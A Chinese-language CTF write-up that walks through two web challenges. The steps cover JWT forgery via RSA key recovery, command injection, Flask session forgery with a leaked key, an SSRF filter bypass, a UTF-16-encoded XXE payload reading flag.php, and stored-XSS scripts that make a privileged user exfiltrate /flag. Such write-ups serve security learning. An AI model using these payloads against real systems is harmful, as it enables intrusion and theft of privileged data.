web 01

没有环境 对着wp干巴巴的复现。搜到了一个身临其境的wp

伪造jwt

login界面,随便输入账号密码登录,抓包发现既有session又有jwt验证 (后面知道每个验证用于不同的路由)

通过header知道本题jwt是非对称加密,公钥用于验证,私钥用于加密

参考国外原题的wp CTFtime.org / DownUnderCTF 2021 (线上) / JWT / Writeup

思路是:1.先用两个普通jwt 找到公钥 2.(希望是)弱公钥,rsa的n易于被分解 可以得到私钥 这样就可以伪造jwt了

公钥

使用wp中提到的工具及其使用方法rsa_sign2n 使用命令

可以使用安装的docker 进入rsa_sign2n/standalone文件夹中

python3 jwt_forgery.py jwt1 jwt2

最后会生成可能的公钥一些.pem文件 加下来就是尝试用可能的公钥得到私钥

私钥

工具RsaCtfTool

使用命令

python3 RsaCtfTool.py --publickey ./public.key --private

成功生成私钥后,伪造jwt,伪造用户名admin ,登陆后能访问/game 有很多emoji

(web题的友好密码 :D),

emoji命令执行+伪造session

参考国外原题的wp https://naupjjin.github.io/2024/06/30/AIS3-pre-exam-2024-Writeup/

cat *命令可以查看所有文件(夹) 🐱 ⭐

发现"flag":"flag.php" 想进入flag文件夹中,读取flag.php

cd flag;p:|cat *       💿 🚩 😜😐 🐱 ⭐
逗号分割,使用管道符,让后面的命令被执行。p:会被当成指令但是执行错误 所以可以查看flag文件夹下的文件内容

源码(的一部分)

@app.route('/upload', methods=['GET', 'POST'])
def upload():
    token = request.cookies.get('token')
    if not token:
        flash('Please login first', 'warning')
        return redirect(url_for('login'))
    payload = decode_jwt(token)
    form = UploadForm()
    if not payload or payload['username'] != 'admin':
        error_message = 'You do not have permission to access this page.Your username is not admin.'
        return render_template('upload.html', form=form, error_message=error_message, username=payload['username'])
    if not session['role'] or session['role'] != 'admin':
        
        #检测role是不是admin
        error_message = 'You do not have permission to access this page.Your role is not admin.'
          return render_template('upload.html', form=form, error_message=error_message, username=payload['username'])
    
    if form.validate_on_submit():
        #表单有效提交
        file = form.avatar.data
        if file:
            filename = secure_filename(file.filename)
            files = {'file': (filename, file.stream, file.content_type)}
            php_service_url = 'http://127.0.0.1/upload.php'
            #被用作上传文件时请求的目标地址,发送到内部的upload.php
            response = requests.post(php_service_url, files=files)
            if response.status_code == 200:
                flash(response.text, 'success')
            else:
                flash('Failed to upload file to PHP service', 'danger')
    return render_template('upload.html', form=form)
​
@app.route('/view_uploads', methods=['GET', 'POST'])
​
#可以查看上传文件
def view_uploads():
    token = request.cookies.get('token')
    form = GameForm()
    if not token:
        error_message = 'Please login first'
        return render_template('view_uploads.html', form=form, error_message=error_message)
    payload = decode_jwt(token)
    if not payload:
        error_message = 'Invalid or expired token. Please login again.'
        return render_template('view_uploads.html', form=form, error_message=error_message)
    if not payload['username']=='admin':
        error_message = 'You do not have permission to access this page.Your username is not admin'
        return render_template('view_uploads.html', form=form, error_message=error_message)
    user_input = None
    if form.validate_on_submit():
        
        #将文件直接发送到内部的upload.php实现文件上传
        filepath = form.user_input.data
        pathurl = request.form.get('path')
        if ("www.testctf.com" not in pathurl) or ("127.0.0.1" in pathurl) or ('/var/www/html/uploads/' not in filepath) or ('.' in filepath):
            #这里是waf 
            error_message = "www.testctf.com must in path and /var/www/html/uploads/ must in filepath."
            return render_template('view_uploads.html', form=form, error_message=error_message)
        params = {'s': filepath}
        try:
            response = requests.get("http://"+pathurl, params=params, timeout=1)
            return render_template('view_uploads.html', form=form, user_input=response.text)
        except:
            error_message = "500! Server Error"
            return render_template('view_uploads.html', form=form, error_message=error_message)
    return render_template('view_uploads.html', form=form, user_input=user_input)

可以看到伪造session用的secret_key为36f8efbea152e50b23290e0ed707b4b0

python flask_session_cookie_manager3.py encode -s "36f8efbea152e50b23290e0ed707b4b0" -t "{'csrf_token' : '题目中给的' , 'role' : 'admin'}"

伪造 发包后 可以读取/upload/view_uploads

文件上传

审计源码

/upload用于上传文件,/view_uploads用于读取:

绕过waf 用0.0.0.0来代替127.0.0.1,用ssrf中的跳转来绕过域名限制www.testctf.com@0.0.0.0

if ("www.testctf.com" not in pathurl) or ("127.0.0.1" in pathurl) or ('/var/www/html/uploads/' not in filepath) or ('.' in filepath):
  error_message = "www.testctf.com must in path and /var/www/html/uploads/ must in filepath."

随便上传一个文件 抓包 修改 发送

POST /view_uploads HTTP/1.1
Host: 0192d68dfb217833b65d0adeec06784b.zeuo.dg01.ciihw.cn:45732
Cookie: session=伪造token=伪造
Upgrade-Insecure-Requests: 1
Priority: u=0, i
...
​
csrf_token=题目有的&path=www.testctf.com@0.0.0.0&user_input=/var/www/html/uploads/上传文件的目录&submit=Submit

发现报错Failed to load XML file说明可能是解析xml 利用xxe漏洞攻击方法

xxe

ENTITY、SYSTEM、file等关键词被过滤(写了会返回hacker), 使用utf-16编码绕过 读取flag.php文件

写一个 1.xml

<?xml version="1.0" ?>
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/flag.php"> ]>
 <userInfo>
  <firstName>Yelia</firstName>
  <lastName>&example;</lastName>
 </userInfo>

使用命令: 将1.xml编码为utf16 写入payload.xml文件中,然后上传payload.xml

iconv -f utf8 -t utf16 1.xml>payload.xml

记录上传路径。发包读取文件时user_input变量为该路径

就可以读到base64编码后的flag了www

web 02

xss

随便登录的账户 可以写content 被展示到网页上 xss 好像写什么都能跳转,但是cookie里面什么都没有

访问/flag(这个目录猜的),要boss才能访问flag

思路(感觉和ns的pangbai过家家5有亿点像):

让boss访问/flag,把boss读到/flag页面的内容,作为新写入(我登陆的)网页的content里面。学习一下各路大佬的方法,javascript!!。

方法一

XMLHttpRequest 对象发送异步请求

//头尾<script>标签别忘了
    var xmlhttp = new XMLHttpRequest();
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange = function() {
    if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
        var flag = xmlhttp.responseText;
        //读取页面信息
        var remoteServerUrl = '/content/登陆生成的哈希';
        var xmlhttp2 = new XMLHttpRequest();
        xmlhttp2.open("POST", remoteServerUrl, true);
        //POST方法发送content
        xmlhttp2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        //表单的发送格式
        xmlhttp2.send("content=" + encodeURIComponent(flag))
    }
};
xmlhttp.open('GET', '/flag', true);
//先让boss访问这个页面,以便后续读取flag数据
xmlhttp.send();    
//这里触发onreadystatechange方法




方法二

用pangbai过家家5类似的方法 改一改(好简洁的嵌套两个fetch啊)

fetch('/flag')
        .then(response => response.text())
//先拿到/flag的数据
        .then(data => {
//触发第二次请求 发送data到content
            fetch('/content/生成的哈希', {
                method:'POST',
                headers:{
                    'Content-Type': 'application/x-www-form-urlencoded'
                },
                body:"content="+data
            });
        });




方法三

python脚本(从登录到拿弗莱格)

url = 'http://目标'
login = post(url+"login",data={"username":"1","password":"1"})
hash_pattern = r'is\s+(\w+)\s*<br>'
match = re.search(hash_pattern,login.text)
content_hash = match.group(1)
#使用正则表达式匹配提取登录生成的哈希
xss = """
<script>
fetch('/flag',{
    method:'GET',
})
.then(response => response.text())
.then(data => {
    document.querySelector('[name="content"]').value = data;
    document.querySelector('input[type="submit"][value="更新"]').click();
    })
    .catch(error => {
    console.error('Error fetching the flag:', error);
});
</script>
"""
#模拟boss访问/flag 获取回显 写入content 模拟点击更新按钮
#.then() 方法来处理异步操作的结果。从一个异步请求获取数据,并将该数据填充到页面中的某个表单输入框中。

此作者没有提供个人介绍
最后更新于 2024-11-27